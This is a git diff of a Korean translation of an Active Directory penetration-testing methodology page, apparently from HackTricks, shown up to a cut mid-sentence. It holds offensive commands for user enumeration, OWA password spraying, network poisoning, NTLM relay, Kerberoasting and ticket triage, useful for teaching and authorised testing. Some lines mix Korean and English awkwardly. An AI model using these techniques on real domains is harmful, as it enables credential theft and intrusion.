diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 1b61cadc6..5d6679535 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -284,6 +284,7 @@ - [Kerberoast](windows-hardening/active-directory-methodology/kerberoast.md) - [Kerberos Authentication](windows-hardening/active-directory-methodology/kerberos-authentication.md) - [Kerberos Double Hop Problem](windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md) + - [Lansweeper Security](windows-hardening/active-directory-methodology/lansweeper-security.md) - [LAPS](windows-hardening/active-directory-methodology/laps.md) - [MSSQL AD Abuse](windows-hardening/active-directory-methodology/abusing-ad-mssql.md) - [Over Pass the Hash/Pass the Key](windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md) diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index 16c751252..315e8013f 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -4,86 +4,86 @@ ## Basic overview -**Active Directory**는 **네트워크 관리자**가 **도메인**, **사용자**, 및 **객체**를 효율적으로 생성하고 관리할 수 있도록 하는 기본 기술로 작동합니다. 이는 확장 가능하도록 설계되어, 많은 수의 사용자를 관리 가능한 **그룹** 및 **하위 그룹**으로 조직할 수 있으며, 다양한 수준에서 **접근 권한**을 제어합니다. +**Active Directory**는 네트워크 관리자가 네트워크 내에서 **도메인**, **사용자**, 및 **객체**를 효율적으로 생성하고 관리할 수 있게 해주는 기본 기술입니다. 대규모로 확장되도록 설계되어 많은 수의 사용자를 관리 가능한 **그룹**과 **하위 그룹**으로 조직화하고 다양한 수준에서 **액세스 권한**을 제어할 수 있습니다. -**Active Directory**의 구조는 세 가지 주요 계층으로 구성됩니다: **도메인**, **트리**, 및 **포리스트**. **도메인**은 공통 데이터베이스를 공유하는 **사용자** 또는 **장치**와 같은 객체의 모음을 포함합니다. **트리**는 공유 구조로 연결된 이러한 도메인 그룹이며, **포리스트**는 여러 트리의 모음을 나타내며, **신뢰 관계**를 통해 상호 연결되어 조직 구조의 최상위 계층을 형성합니다. 각 수준에서 특정 **접근** 및 **통신 권한**을 지정할 수 있습니다. +**Active Directory**의 구조는 세 가지 주요 계층으로 구성됩니다: **domains**, **trees**, 그리고 **forests**. **Domain**은 공통 데이터베이스를 공유하는 **users**나 **devices**와 같은 객체들의 모음입니다. **Trees**는 공통 구조로 연결된 이러한 도메인들의 그룹이며, **forest**는 여러 트리들의 모음으로 **trust relationships**을 통해 상호 연결되어 조직 구조의 최상위 계층을 형성합니다. 각 계층에서 특정 **access** 및 **communication rights**를 지정할 수 있습니다. -**Active Directory** 내의 주요 개념은 다음과 같습니다: +**Active Directory**의 핵심 개념은 다음과 같습니다: -1. **디렉토리** – Active Directory 객체와 관련된 모든 정보를 보관합니다. -2. **객체** – 디렉토리 내의 엔티티를 나타내며, **사용자**, **그룹**, 또는 **공유 폴더**를 포함합니다. -3. **도메인** – 디렉토리 객체의 컨테이너 역할을 하며, 여러 도메인이 **포리스트** 내에서 공존할 수 있으며, 각 도메인은 자체 객체 모음을 유지합니다. -4. **트리** – 공통 루트 도메인을 공유하는 도메인 그룹입니다. -5. **포리스트** – Active Directory의 조직 구조의 정점으로, 여러 트리로 구성되며 이들 간에 **신뢰 관계**가 있습니다. +1. **Directory** – Active Directory 객체에 관한 모든 정보를 보관합니다. +2. **Object** – 디렉터리 내의 엔티티를 나타내며, 여기에는 **users**, **groups**, 또는 **shared folders**가 포함됩니다. +3. **Domain** – 디렉터리 객체의 컨테이너 역할을 하며, 여러 도메인이 하나의 **forest** 내에 공존할 수 있고 각 도메인은 자체 객체 컬렉션을 유지합니다. +4. **Tree** – 공통 루트 도메인을 공유하는 도메인들의 그룹입니다. +5. **Forest** – Active Directory에서 조직 구조의 최정점으로, 여러 트리로 구성되며 그들 사이에 **trust relationships**가 존재합니다. -**Active Directory Domain Services (AD DS)**는 네트워크 내에서 중앙 집중식 관리 및 통신을 위한 다양한 서비스를 포함합니다. 이러한 서비스는 다음과 같습니다: +**Active Directory Domain Services (AD DS)**는 네트워크 내 중앙 집중식 관리 및 통신에 필수적인 다양한 서비스를 포함합니다. 이러한 서비스에는 다음이 포함됩니다: -1. **도메인 서비스** – 데이터 저장소를 중앙 집중화하고 **사용자**와 **도메인** 간의 상호작용을 관리하며, **인증** 및 **검색** 기능을 포함합니다. -2. **인증서 서비스** – 안전한 **디지털 인증서**의 생성, 배포 및 관리를 감독합니다. -3. **경량 디렉토리 서비스** – **LDAP 프로토콜**을 통해 디렉토리 지원 애플리케이션을 지원합니다. -4. **디렉토리 연합 서비스** – 여러 웹 애플리케이션에서 단일 세션으로 사용자를 인증할 수 있는 **싱글 사인온** 기능을 제공합니다. -5. **권한 관리** – 저작권 자료를 보호하기 위해 무단 배포 및 사용을 규제하는 데 도움을 줍니다. -6. **DNS 서비스** – **도메인 이름**의 해석에 필수적입니다. +1. **Domain Services** – 데이터를 중앙에 저장하고 **users**와 **domains** 간의 상호작용을 관리하며 **authentication** 및 **search** 기능을 제공합니다. +2. **Certificate Services** – 보안 **digital certificates**의 생성, 배포 및 관리를 감독합니다. +3. **Lightweight Directory Services** – **LDAP protocol**을 통해 디렉터리 지원 애플리케이션을 지원합니다. +4. **Directory Federation Services** – 여러 웹 애플리케이션에 대해 **single-sign-on** 기능을 제공하여 한 번의 세션으로 인증을 수행합니다. +5. **Rights Management** – 저작권 자료의 무단 배포 및 사용을 규제하여 보호하는 데 도움을 줍니다. +6. **DNS Service** – **domain names** 해석에 필수적입니다. -자세한 설명은 다음을 확인하세요: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory) +For a more detailed explanation check: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory) ### **Kerberos Authentication** -AD를 **공격하는 방법**을 배우려면 **Kerberos 인증 프로세스**를 잘 **이해**해야 합니다.\ -[**작동 방식을 아직 모른다면 이 페이지를 읽어보세요.**](kerberos-authentication.md) +To learn how to **attack an AD** you need to **understand** really good the **Kerberos authentication process**.\ +[**Read this page if you still don't know how it works.**](kerberos-authentication.md) ## Cheat Sheet -AD를 열거/악용하기 위해 실행할 수 있는 명령어를 빠르게 확인하려면 [https://wadcoms.github.io/](https://wadcoms.github.io)에서 많은 정보를 얻을 수 있습니다. +You can take a lot to [https://wadcoms.github.io/](https://wadcoms.github.io) to have a quick view of which commands you can run to enumerate/exploit an AD. > [!WARNING] -> Kerberos 통신은 작업 수행을 위해 **정확한 도메인 이름(FQDN)**을 요구합니다. IP 주소로 머신에 접근하려고 하면 **NTLM을 사용하고 Kerberos를 사용하지 않습니다**. +> Kerberos communication **requires a full qualifid name (FQDN)** for performing actions. If you try to access a machine by the IP address, **it'll use NTLM and not Kerberos**. ## Recon Active Directory (No creds/sessions) -AD 환경에 접근할 수 있지만 자격 증명/세션이 없는 경우 다음을 수행할 수 있습니다: +If you just have access to an AD environment but you don't have any credentials/sessions you could: -- **네트워크 펜테스트:** -- 네트워크를 스캔하고 머신과 열린 포트를 찾아 **취약점을 악용**하거나 **자격 증명을 추출**하려고 시도합니다 (예: [프린터는 매우 흥미로운 대상이 될 수 있습니다](ad-information-in-printers.md)). -- DNS를 열거하면 도메인 내의 주요 서버에 대한 정보(웹, 프린터, 공유, VPN, 미디어 등)를 얻을 수 있습니다. +- **Pentest the network:** +- Scan the network, find machines and open ports and try to **exploit vulnerabilities** or **extract credentials** from them (for example, [printers could be very interesting targets](ad-information-in-printers.md). +- Enumerating DNS could give information about key servers in the domain as web, printers, shares, vpn, media, etc. - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt` -- 이를 수행하는 방법에 대한 더 많은 정보는 일반 [**펜테스팅 방법론**](../../generic-methodologies-and-resources/pentesting-methodology.md)을 참조하세요. -- **smb 서비스에서 null 및 Guest 접근 확인** (이 방법은 최신 Windows 버전에서는 작동하지 않습니다): +- Take a look to the General [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) to find more information about how to do this. +- **Check for null and Guest access on smb services** (this won't work on modern Windows versions): - `enum4linux -a -u "" -p "" && enum4linux -a -u "guest" -p "" ` - `smbmap -u "" -p "" -P 445 -H && smbmap -u "guest" -p "" -P 445 -H ` - `smbclient -U '%' -L // && smbclient -U 'guest%' -L //` -- SMB 서버를 열거하는 방법에 대한 더 자세한 가이드는 여기에서 확인할 수 있습니다: +- A more detailed guide on how to enumerate a SMB server can be found here: {{#ref}} ../../network-services-pentesting/pentesting-smb/ {{#endref}} -- **Ldap 열거** +- **Enumerate Ldap** - `nmap -n -sV --script "ldap* and not brute" -p 389 ` -- LDAP을 열거하는 방법에 대한 더 자세한 가이드는 여기에서 확인할 수 있습니다 (특히 **익명 접근**에 주의하세요): +- A more detailed guide on how to enumerate LDAP can be found here (pay **special attention to the anonymous access**): {{#ref}} ../../network-services-pentesting/pentesting-ldap.md {{#endref}} -- **네트워크 오염** -- [**Responder로 서비스를 가장하여 자격 증명 수집**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -- [**릴레이 공격을 악용하여 호스트에 접근**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) -- [**악성 UPnP 서비스 노출로 자격 증명 수집**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) +- **Poison the network** +- Gather credentials [**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +- Access host by [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) +- Gather credentials **exposing** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html): -- 내부 문서, 소셜 미디어, 서비스(주로 웹)에서 사용자 이름/이름을 추출하고 공개적으로 이용 가능한 자료에서도 추출합니다. -- 회사 직원의 전체 이름을 찾으면 다양한 AD **사용자 이름 규칙**을 시도해 볼 수 있습니다 (**[이것을 읽어보세요**](https://activedirectorypro.com/active-directory-user-naming-convention/)). 가장 일반적인 규칙은: _NameSurname_, _Name.Surname_, _NamSur_ (각각 3글자), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _무작위 문자와 3 무작위 숫자_ (abc123)입니다. -- 도구: +- Extract usernames/names from internal documents, social media, services (mainly web) inside the domain environments and also from the publicly available. +- If you find the complete names of company workers, you could try different AD **username conventions (**[**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). The most common conventions are: _NameSurname_, _Name.Surname_, _NamSur_ (3letters of each), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123). +- Tools: - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username) - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy) ### User enumeration -- **익명 SMB/LDAP 열거:** [**펜테스팅 SMB**](../../network-services-pentesting/pentesting-smb/index.html) 및 [**펜테스팅 LDAP**](../../network-services-pentesting/pentesting-ldap.md) 페이지를 확인하세요. -- **Kerbrute 열거**: **유효하지 않은 사용자 이름이 요청되면** 서버는 **Kerberos 오류** 코드 _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_를 사용하여 응답하며, 이를 통해 사용자 이름이 유효하지 않음을 확인할 수 있습니다. **유효한 사용자 이름**은 **AS-REP** 응답에서 **TGT**를 유도하거나 _KRB5KDC_ERR_PREAUTH_REQUIRED_ 오류를 나타내며, 이는 사용자가 사전 인증을 수행해야 함을 의미합니다. -- **MS-NRPC에 대한 인증 없음**: 도메인 컨트롤러의 MS-NRPC(넷로곤) 인터페이스에 대해 auth-level = 1(인증 없음)을 사용합니다. 이 방법은 MS-NRPC 인터페이스에 바인딩한 후 `DsrGetDcNameEx2` 함수를 호출하여 자격 증명 없이 사용자 또는 컴퓨터가 존재하는지 확인합니다. [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) 도구는 이러한 유형의 열거를 구현합니다. 연구 결과는 [여기](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)에서 확인할 수 있습니다. +- **Anonymous SMB/LDAP enum:** Check the [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) and [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) pages. +- **Kerbrute enum**: When an **invalid username is requested** the server will respond using the **Kerberos error** code _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, allowing us to determine that the username was invalid. **Valid usernames** will illicit either the **TGT in a AS-REP** response or the error _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicating that the user is required to perform pre-authentication. +- **No Authentication against MS-NRPC**: Using auth-level = 1 (No authentication) against the MS-NRPC (Netlogon) interface on domain controllers. The method calls the `DsrGetDcNameEx2` function after binding MS-NRPC interface to check if the user or computer exists without any credentials. The [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) tool implements this type of enumeration. The research can be found [here](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) ```bash ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases @@ -95,9 +95,9 @@ msf> use auxiliary/gather/kerberos_enumusers crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC ``` -- **OWA (Outlook Web Access) 서버** +- **OWA (Outlook Web Access) Server** -네트워크에서 이러한 서버 중 하나를 발견하면 **사용자 열거를 수행할 수 있습니다**. 예를 들어, 도구 [**MailSniper**](https://github.com/dafthack/MailSniper)를 사용할 수 있습니다: +네트워크에서 이러한 서버 중 하나를 찾았다면 해당 서버에 대해 **user enumeration against it**을 수행할 수도 있습니다. 예를 들어, [**MailSniper**](https://github.com/dafthack/MailSniper) 도구를 사용할 수 있습니다: ```bash ipmo C:\Tools\MailSniper\MailSniper.ps1 # Get info about the domain @@ -110,47 +110,47 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt ``` > [!WARNING] -> 사용자 이름 목록은 [**이 github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)와 이곳 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames))에서 찾을 수 있습니다. +> You can find lists of usernames in [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) and this one ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)). > -> 그러나 이 전에 수행했어야 할 정찰 단계에서 **회사의 직원 이름**을 알고 있어야 합니다. 이름과 성이 있으면 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 스크립트를 사용하여 잠재적인 유효 사용자 이름을 생성할 수 있습니다. +> However, you should have the **name of the people working on the company** from the recon step you should have performed before this. With the name and surname you could used the script [**namemash.py**](https://gist.github.com/superkojiman/11076951) to generate potential valid usernames. -### 하나 이상의 사용자 이름 알기 +### 하나 또는 여러 사용자 이름을 알고 있는 경우 -좋습니다, 유효한 사용자 이름이 있지만 비밀번호가 없다면... 다음을 시도해 보세요: +이미 유효한 사용자 이름은 알고 있지만 비밀번호는 모를 때, 다음을 시도해 보세요: -- [**ASREPRoast**](asreproast.md): 사용자가 _DONT_REQ_PREAUTH_ 속성이 **없다면**, 해당 사용자에 대한 **AS_REP 메시지를 요청**할 수 있으며, 이 메시지는 사용자의 비밀번호 파생으로 암호화된 일부 데이터를 포함합니다. -- [**Password Spraying**](password-spraying.md): 발견된 각 사용자에 대해 가장 **일반적인 비밀번호**를 시도해 보세요. 어떤 사용자가 나쁜 비밀번호를 사용하고 있을 수 있습니다(비밀번호 정책을 염두에 두세요!). -- OWA 서버를 **스프레이**하여 사용자 메일 서버에 접근을 시도할 수도 있습니다. +- [**ASREPRoast**](asreproast.md): 사용자가 _DONT_REQ_PREAUTH_ 속성이 **없다면**, 해당 사용자에 대해 AS_REP 메시지를 요청할 수 있으며, 이 메시지에는 사용자의 비밀번호에서 파생된 키로 암호화된 데이터가 포함됩니다. +- [**Password Spraying**](password-spraying.md): 발견된 각 사용자에 대해 가장 **일반적인 비밀번호들**을 시도해 보세요. 일부 사용자가 취약한 비밀번호를 사용하고 있을 수 있습니다(비밀번호 정책을 염두에 두세요!). +- OWA 서버를 **spray**하여 사용자의 메일 서버 접근을 시도할 수도 있습니다. {{#ref}} password-spraying.md {{#endref}} -### LLMNR/NBT-NS 중독 +### LLMNR/NBT-NS Poisoning -네트워크의 일부 프로토콜을 **중독**하여 **해시**를 **획득**할 수 있을지도 모릅니다: +네트워크의 일부 프로토콜을 poisoning하여 crack할 수 있는 challenge hashes를 얻을 수 있을지도 모릅니다: {{#ref}} ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} -### NTLM 릴레이 +### NTLM Relay -활성 디렉토리를 열거하는 데 성공했다면 **더 많은 이메일과 네트워크에 대한 더 나은 이해**를 갖게 될 것입니다. NTLM [**릴레이 공격**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)을 강제로 수행하여 AD 환경에 접근할 수 있을지도 모릅니다. +Active Directory를 열거할 수 있게 되면 더 많은 이메일 정보와 네트워크에 대한 이해를 얻을 수 있습니다. NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)를 강제하여 AD 환경에 접근할 수 있을지도 모릅니다. -### NTLM 자격 증명 훔치기 +### Steal NTLM Creds -**null 또는 guest 사용자**로 다른 PC나 공유에 **접근**할 수 있다면, **파일을 배치**할 수 있습니다(예: SCF 파일). 이 파일이 접근되면 **당신에 대한 NTLM 인증을 트리거**하여 **NTLM 챌린지를 훔칠 수 있습니다**: +**null or guest user**로 다른 PC나 공유에 접근할 수 있다면, SCF 파일과 같은 파일을 배치할 수 있습니다. 누군가 이 파일에 접근하면 당신을 대상으로 NTLM 인증이 트리거되어 NTLM challenge를 얻어 이를 크래킹할 수 있습니다: {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md {{#endref}} -## 자격 증명/세션으로 활성 디렉토리 열거하기 +## 자격증명/세션으로 Active Directory 열거 -이 단계에서는 **유효한 도메인 계정의 자격 증명이나 세션을 손상시켜야** 합니다. 유효한 자격 증명이나 도메인 사용자로서의 쉘이 있다면, **이전에 제공된 옵션이 여전히 다른 사용자를 손상시키는 옵션임을 기억해야 합니다**. +이 단계에서는 유효한 도메인 계정의 자격증명이나 세션을 **획득(또는 탈취)** 했어야 합니다. 도메인 사용자로서 유효한 자격증명이나 쉘을 가지고 있다면, 앞서 제시된 옵션들 또한 다른 사용자를 타깃으로 삼는 데 여전히 유효하다는 점을 기억하세요. -인증된 열거를 시작하기 전에 **Kerberos 더블 홉 문제**가 무엇인지 알아야 합니다. +인증된 열거를 시작하기 전에 **Kerberos double hop problem**이 무엇인지 알고 있어야 합니다. {{#ref}} kerberos-double-hop-problem.md @@ -158,31 +158,32 @@ kerberos-double-hop-problem.md ### 열거 -계정을 손상시키는 것은 **전체 도메인을 손상시키기 위한 큰 단계**입니다. 이제 **Active Directory 열거**를 시작할 수 있습니다: +계정을 탈취하는 것은 도메인 전체를 공격하기 위한 큰 출발점입니다. 이제 Active Directory 열거를 시작할 수 있습니다: -[**ASREPRoast**](asreproast.md)와 관련하여 이제 모든 가능한 취약한 사용자를 찾을 수 있으며, [**Password Spraying**](password-spraying.md)와 관련하여 손상된 계정의 비밀번호, 빈 비밀번호 및 새로운 유망한 비밀번호를 시도할 수 있습니다. +ASREPRoast의 경우 이제 취약한 모든 사용자를 찾을 수 있고, Password Spraying의 경우 탈취한 계정의 비밀번호, 빈 비밀번호, 또는 새로 유력한 비밀번호들을 모든 사용자에 대해 시도해볼 수 있습니다. -- [**CMD를 사용하여 기본 정찰 수행**](../basic-cmd-for-pentesters.md#domain-info) -- [**정찰을 위한 PowerShell 사용**](../basic-powershell-for-pentesters/index.html)도 가능합니다. 이는 더 은밀할 것입니다. -- [**powerview 사용**](../basic-powershell-for-pentesters/powerview.md)하여 더 자세한 정보를 추출할 수 있습니다. -- 활성 디렉토리에서 정찰을 위한 또 다른 훌륭한 도구는 [**BloodHound**](bloodhound.md)입니다. 이는 **그리 은밀하지 않지만**(사용하는 수집 방법에 따라 다름), **그것에 대해 신경 쓰지 않는다면** 꼭 시도해 보세요. 사용자가 RDP할 수 있는 위치, 다른 그룹으로의 경로 등을 찾을 수 있습니다. -- **기타 자동화된 AD 열거 도구는:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** -- [**AD의 DNS 레코드**](ad-dns-records.md)도 흥미로운 정보를 포함할 수 있습니다. -- 디렉토리를 열거하는 데 사용할 수 있는 **GUI 도구**는 **SysInternal** Suite의 **AdExplorer.exe**입니다. -- **ldapsearch**를 사용하여 LDAP 데이터베이스에서 _userPassword_ 및 _unixUserPassword_ 필드에서 자격 증명을 찾거나 _Description_을 검색할 수 있습니다. cf. [PayloadsAllTheThings의 AD 사용자 주석에서 비밀번호](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)에서 다른 방법을 확인하세요. -- **Linux**를 사용하는 경우 [**pywerview**](https://github.com/the-useless-one/pywerview)를 사용하여 도메인을 열거할 수 있습니다. -- 자동화 도구를 시도할 수도 있습니다: -- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch) -- [**61106960/adPEAS**](https://github.com/61106960/adPEAS) -- **모든 도메인 사용자 추출하기** +- 기본 recon을 수행하려면 [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info)를 사용할 수 있습니다. +- 더 은밀하게는 [**powershell for recon**](../basic-powershell-for-pentesters/index.html)을 사용할 수 있습니다. +- 더 상세한 정보를 추출하려면 [**use powerview**](../basic-powershell-for-pentesters/powerview.md)를 사용할 수 있습니다. +- Active Directory recon에 매우 유용한 도구로 [**BloodHound**](bloodhound.md)가 있습니다. 수집 방법에 따라 **매우 은밀하지 않을 수 있으나**, 은밀성을 신경쓰지 않는다면 반드시 사용해 보세요. 사용자들이 RDP 접속 가능한 곳, 그룹 간 경로 등을 찾을 수 있습니다. +- **다른 자동화된 AD 열거 도구:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** +- [**AD의 DNS 레코드**](ad-dns-records.md)는 흥미로운 정보를 포함하고 있을 수 있습니다. +- GUI로 디렉터리를 열거하려면 **SysInternal** Suite의 **AdExplorer.exe**를 사용할 수 있습니다. +- ldapsearch로 LDAP 데이터베이스를 검색해 _userPassword_ & _unixUserPassword_ 필드 또는 _Description_에서 자격증명을 찾아볼 수 있습니다. 다른 방법은 PayloadsAllTheThings의 "Password in AD User comment"를 참조하세요: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment +- **Linux**를 사용하는 경우 [**pywerview**](https://github.com/the-useless-one/pywerview)로 도메인을 열거할 수 있습니다. +- 자동화 도구로는 다음을 시도해 볼 수 있습니다: + - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch) + - [**61106960/adPEAS**](https://github.com/61106960/adPEAS) -Windows에서 도메인 사용자 이름을 얻는 것은 매우 쉽습니다(`net user /domain`, `Get-DomainUser` 또는 `wmic useraccount get name,sid`). Linux에서는 다음을 사용할 수 있습니다: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` 또는 `enum4linux -a -u "user" -p "password" ` +- **모든 도메인 사용자 추출** -> 이 열거 섹션이 작아 보일 수 있지만, 이는 모든 것 중에서 가장 중요한 부분입니다. 링크를 확인하세요(주로 cmd, powershell, powerview 및 BloodHound 링크). 도메인을 열거하는 방법을 배우고 편안해질 때까지 연습하세요. 평가 중에는 DA로 가는 길을 찾거나 아무것도 할 수 없다고 결정하는 중요한 순간이 될 것입니다. +Windows에서 모든 도메인 사용자 이름을 얻는 것은 매우 쉽습니다 (`net user /domain`, `Get-DomainUser` 또는 `wmic useraccount get name,sid`). Linux에서는 `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` 또는 `enum4linux -a -u "user" -p "password" ` 등을 사용할 수 있습니다. + +> 이 열거 섹션이 짧아 보이더라도 전체에서 가장 중요한 부분입니다. 링크들(특히 cmd, powershell, powerview 및 BloodHound)을 확인하고 도메인 열거 방법을 배우고 충분히 익숙해질 때까지 연습하세요. 평가 중에 이것이 DA로 가는 길을 찾거나 더 이상 할 수 있는 것이 없다고 판단하는 핵심 순간이 됩니다. ### Kerberoast -Kerberoasting은 사용자 계정에 연결된 서비스에서 사용되는 **TGS 티켓**을 얻고, 그 암호화를 크랙하는 것을 포함합니다. 이는 사용자 비밀번호를 기반으로 하며 **오프라인**에서 수행됩니다. +Kerberoasting은 사용자 계정에 연동된 서비스가 사용하는 **TGS tickets**를 획득하고, 해당 티켓의 암호화(사용자 비밀번호 기반)를 **오프라인**으로 크랙하는 기법입니다. 자세한 내용은 다음을 참조하세요: @@ -190,19 +191,19 @@ Kerberoasting은 사용자 계정에 연결된 서비스에서 사용되는 **TG kerberoast.md {{#endref}} -### 원격 연결 (RDP, SSH, FTP, Win-RM 등) +### 원격 연결 (RDP, SSH, FTP, Win-RM, 등) -자격 증명을 얻은 후, **어떤 머신**에 접근할 수 있는지 확인할 수 있습니다. 이를 위해 **CrackMapExec**를 사용하여 포트 스캔에 따라 여러 서버에 다양한 프로토콜로 연결을 시도할 수 있습니다. +자격증명을 얻었다면 특정 **머신**에 접근 가능한지 확인해 보세요. 포트 스캔 결과에 따라 여러 서버에 서로 다른 프로토콜로 연결을 시도하려면 **CrackMapExec**를 사용할 수 있습니다. -### 로컬 권한 상승 +### Local Privilege Escalation -정상 도메인 사용자로서 자격 증명이나 세션을 손상시켰고, 이 사용자로 **도메인 내의 어떤 머신에 접근**할 수 있다면, **로컬에서 권한을 상승시키고 자격 증명을 찾는 방법을 찾아야** 합니다. 이는 로컬 관리자 권한이 있어야만 **다른 사용자의 해시를 메모리(LSASS)와 로컬(SAM)에서 덤프할 수 있기 때문입니다.** +일반 도메인 사용자 자격증명이나 세션을 탈취했고 해당 사용자로 도메인 내 어떤 머신에 접근할 수 있다면, 로컬 권한 상승을 시도하고 자격증명을 찾아 약탈해야 합니다. 로컬 관리자 권한이 있어야만 다른 사용자의 해시를 메모리(LSASS)나 로컬(SAM)에서 덤프할 수 있기 때문입니다. -이 책에는 [**Windows에서의 로컬 권한 상승**](../windows-local-privilege-escalation/index.html)과 [**체크리스트**](../checklist-windows-privilege-escalation.md)에 대한 완전한 페이지가 있습니다. 또한 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)를 사용하는 것을 잊지 마세요. +이 책에는 [**Windows의 local privilege escalation**](../windows-local-privilege-escalation/index.html)에 관한 전체 페이지와 [**체크리스트**](../checklist-windows-privilege-escalation.md)가 있습니다. 또한 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)를 사용하는 것을 잊지 마세요. -### 현재 세션 티켓 +### Current Session Tickets -예상치 못한 리소스에 접근할 수 있는 **티켓**을 현재 사용자에서 찾는 것은 매우 **가능성이 낮지만**, 확인해 볼 수 있습니다: +현재 사용자에게 예기치 않은 리소스에 대한 접근 권한을 주는 **tickets**가 있을 가능성은 매우 **낮지만**, 확인해 볼 수 있습니다: ```bash ## List all tickets (if not admin, only current user tickets) .\Rubeus.exe triage @@ -212,17 +213,17 @@ kerberoast.md ``` ### NTLM Relay -활성 디렉토리를 열거하는 데 성공했다면 **더 많은 이메일과 네트워크에 대한 더 나은 이해**를 갖게 될 것입니다. NTLM [**릴레이 공격**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**을 강제로 수행할 수 있을지도 모릅니다.** +If you have managed to enumerate the Active Directory you will have **더 많은 이메일과 네트워크에 대한 더 나은 이해**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.** -### 컴퓨터 공유에서 자격 증명 찾기 | SMB 공유 +### Looks for Creds in Computer Shares | SMB Shares -기본 자격 증명을 얻었으니 **AD 내부에서 공유되고 있는 